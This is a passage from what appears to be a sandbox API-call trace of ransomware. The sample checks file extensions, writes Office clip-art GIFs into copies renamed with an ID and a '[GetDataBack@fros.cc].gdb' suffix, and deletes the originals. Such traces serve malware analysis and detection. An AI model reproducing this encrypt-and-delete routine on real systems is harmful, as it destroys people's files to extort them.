returned 4 [0131.800] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0131.800] lstrlenW (lpString=".7z") returned 3 [0131.800] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0131.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0131.800] lstrlenW (lpString=".dbf") returned 4 [0131.800] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0131.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0131.800] lstrlenW (lpString=".1cd") returned 4 [0131.800] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0131.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0131.800] lstrlenW (lpString=".jpg") returned 4 [0131.800] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0132.138] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0132.138] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0132.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0132.138] GetLastError () returned 0x0 [0132.138] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x1a1c, lpOverlapped=0x0) returned 1 [0132.203] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x1a20, lpOverlapped=0x0) returned 1 [0132.204] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0132.204] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0132.204] SetEndOfFile (hFile=0x1c0) returned 1 [0132.204] CloseHandle (hObject=0x1c0) returned 1 [0132.204] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0132.204] SetEndOfFile (hFile=0x1ac) returned 1 [0132.205] CloseHandle (hObject=0x1ac) returned 1 [0132.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0132.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0132.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0132.206] lstrlenW (lpString=".doc") returned 4 [0132.206] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0132.206] lstrlenW (lpString=".docx") returned 5 [0132.206] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0132.206] lstrlenW (lpString=".pdf") returned 4 [0132.206] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0132.206] lstrlenW (lpString=".xls") returned 4 [0132.206] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0132.206] lstrlenW (lpString=".xlsx") returned 5 [0132.206] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0132.206] lstrlenW (lpString=".ppt") returned 4 [0132.206] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0132.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0132.206] lstrlenW (lpString=".zip") returned 4 [0132.206] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0132.206] lstrlenW (lpString=".rar") returned 4 [0132.206] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0132.206] lstrlenW (lpString=".bz2") returned 4 [0132.206] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0132.206] lstrlenW (lpString=".7z") returned 3 [0132.206] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0132.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0132.206] lstrlenW (lpString=".dbf") returned 4 [0132.206] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0132.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0132.206] lstrlenW (lpString=".1cd") returned 4 [0132.206] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0132.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0132.206] lstrlenW (lpString=".jpg") returned 4 [0132.206] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0132.207] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0132.207] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0132.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0132.207] GetLastError () returned 0x0 [0132.207] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x2e73, lpOverlapped=0x0) returned 1 [0132.495] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x2e80, lpOverlapped=0x0) returned 1 [0132.811] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0132.811] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0132.811] SetEndOfFile (hFile=0x1c0) returned 1 [0132.812] CloseHandle (hObject=0x1c0) returned 1 [0132.812] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0132.812] SetEndOfFile (hFile=0x1ac) returned 1 [0132.813] CloseHandle (hObject=0x1ac) returned 1 [0132.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0132.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0132.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0132.814] lstrlenW (lpString=".doc") returned 4 [0132.814] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0132.814] lstrlenW (lpString=".docx") returned 5 [0132.814] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0132.814] lstrlenW (lpString=".pdf") returned 4 [0132.814] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0132.814] lstrlenW (lpString=".xls") returned 4 [0132.814] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0132.814] lstrlenW (lpString=".xlsx") returned 5 [0132.814] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0132.814] lstrlenW (lpString=".ppt") returned 4 [0132.814] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0132.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0132.814] lstrlenW (lpString=".zip") returned 4 [0132.814] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0132.814] lstrlenW (lpString=".rar") returned 4 [0132.814] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0132.814] lstrlenW (lpString=".bz2") returned 4 [0132.814] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0132.814] lstrlenW (lpString=".7z") returned 3 [0132.814] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0132.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0132.814] lstrlenW (lpString=".dbf") returned 4 [0132.814] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0132.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0132.814] lstrlenW (lpString=".1cd") returned 4 [0132.814] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0132.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0132.815] lstrlenW (lpString=".jpg") returned 4 [0132.815] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0132.815] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0132.815] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0132.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0132.815] GetLastError () returned 0x0 [0132.815] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x30c2, lpOverlapped=0x0) returned 1 [0133.262] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x30d0, lpOverlapped=0x0) returned 1 [0133.263] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0133.263] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0133.263] SetEndOfFile (hFile=0x1c0) returned 1 [0133.263] CloseHandle (hObject=0x1c0) returned 1 [0133.263] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0133.263] SetEndOfFile (hFile=0x1ac) returned 1 [0133.264] CloseHandle (hObject=0x1ac) returned 1 [0133.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0133.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0133.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0133.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0133.265] lstrlenW (lpString=".doc") returned 4 [0133.265] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0133.265] lstrlenW (lpString=".docx") returned 5 [0133.265] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0133.265] lstrlenW (lpString=".pdf") returned 4 [0133.265] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0133.265] lstrlenW (lpString=".xls") returned 4 [0133.265] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0133.265] lstrlenW (lpString=".xlsx") returned 5 [0133.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0133.266] lstrlenW (lpString=".ppt") returned 4 [0133.266] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0133.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0133.266] lstrlenW (lpString=".zip") returned 4 [0133.266] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0133.266] lstrlenW (lpString=".rar") returned 4 [0133.266] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0133.266] lstrlenW (lpString=".bz2") returned 4 [0133.266] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0133.266] lstrlenW (lpString=".7z") returned 3 [0133.266] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0133.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0133.266] lstrlenW (lpString=".dbf") returned 4 [0133.266] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0133.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0133.266] lstrlenW (lpString=".1cd") returned 4 [0133.266] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0133.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0133.266] lstrlenW (lpString=".jpg") returned 4 [0133.266] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0133.266] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0133.267] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0133.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0133.267] GetLastError () returned 0x0 [0133.267] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x14c3, lpOverlapped=0x0) returned 1 [0133.469] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x14d0, lpOverlapped=0x0) returned 1 [0133.470] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0133.470] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0133.470] SetEndOfFile (hFile=0x1c0) returned 1 [0133.470] CloseHandle (hObject=0x1c0) returned 1 [0133.471] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0133.471] SetEndOfFile (hFile=0x1ac) returned 1 [0133.471] CloseHandle (hObject=0x1ac) returned 1 [0133.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0133.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0133.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0133.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0133.472] lstrlenW (lpString=".doc") returned 4 [0133.472] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0133.472] lstrlenW (lpString=".docx") returned 5 [0133.472] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0133.473] lstrlenW (lpString=".pdf") returned 4 [0133.473] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0133.473] lstrlenW (lpString=".xls") returned 4 [0133.473] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0133.473] lstrlenW (lpString=".xlsx") returned 5 [0133.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0133.473] lstrlenW (lpString=".ppt") returned 4 [0133.473] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0133.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0133.473] lstrlenW (lpString=".zip") returned 4 [0133.473] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0133.473] lstrlenW (lpString=".rar") returned 4 [0133.473] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0133.473] lstrlenW (lpString=".bz2") returned 4 [0133.473] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0133.473] lstrlenW (lpString=".7z") returned 3 [0133.473] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0133.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0133.473] lstrlenW (lpString=".dbf") returned 4 [0133.473] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0133.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0133.473] lstrlenW (lpString=".1cd") returned 4 [0133.473] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0133.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0133.473] lstrlenW (lpString=".jpg") returned 4 [0133.473] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0133.474] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0133.474] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0133.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0133.474] GetLastError () returned 0x0 [0133.474] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x47a, lpOverlapped=0x0) returned 1 [0133.690] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x480, lpOverlapped=0x0) returned 1 [0133.691] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0133.691] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0133.691] SetEndOfFile (hFile=0x1c0) returned 1 [0133.691] CloseHandle (hObject=0x1c0) returned 1 [0133.692] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0133.692] SetEndOfFile (hFile=0x1ac) returned 1 [0133.692] CloseHandle (hObject=0x1ac) returned 1 [0133.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0133.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0133.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0133.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0133.693] lstrlenW (lpString=".doc") returned 4 [0133.693] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0133.693] lstrlenW (lpString=".docx") returned 5 [0133.693] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0133.693] lstrlenW (lpString=".pdf") returned 4 [0133.693] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0133.693] lstrlenW (lpString=".xls") returned 4 [0133.693] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0133.693] lstrlenW (lpString=".xlsx") returned 5 [0133.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0133.693] lstrlenW (lpString=".ppt") returned 4 [0133.693] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0133.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0133.693] lstrlenW (lpString=".zip") returned 4 [0133.693] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0133.693] lstrlenW (lpString=".rar") returned 4 [0133.693] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0133.693] lstrlenW (lpString=".bz2") returned 4 [0133.693] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0133.693] lstrlenW (lpString=".7z") returned 3 [0133.693] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0133.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0133.693] lstrlenW (lpString=".dbf") returned 4 [0133.693] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0133.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0133.693] lstrlenW (lpString=".1cd") returned 4 [0133.693] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0133.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0133.694] lstrlenW (lpString=".jpg") returned 4 [0133.694] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0133.694] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0133.694] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0133.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0133.694] GetLastError () returned 0x0 [0133.694] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x1d9f, lpOverlapped=0x0) returned 1 [0133.936] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x1da0, lpOverlapped=0x0) returned 1 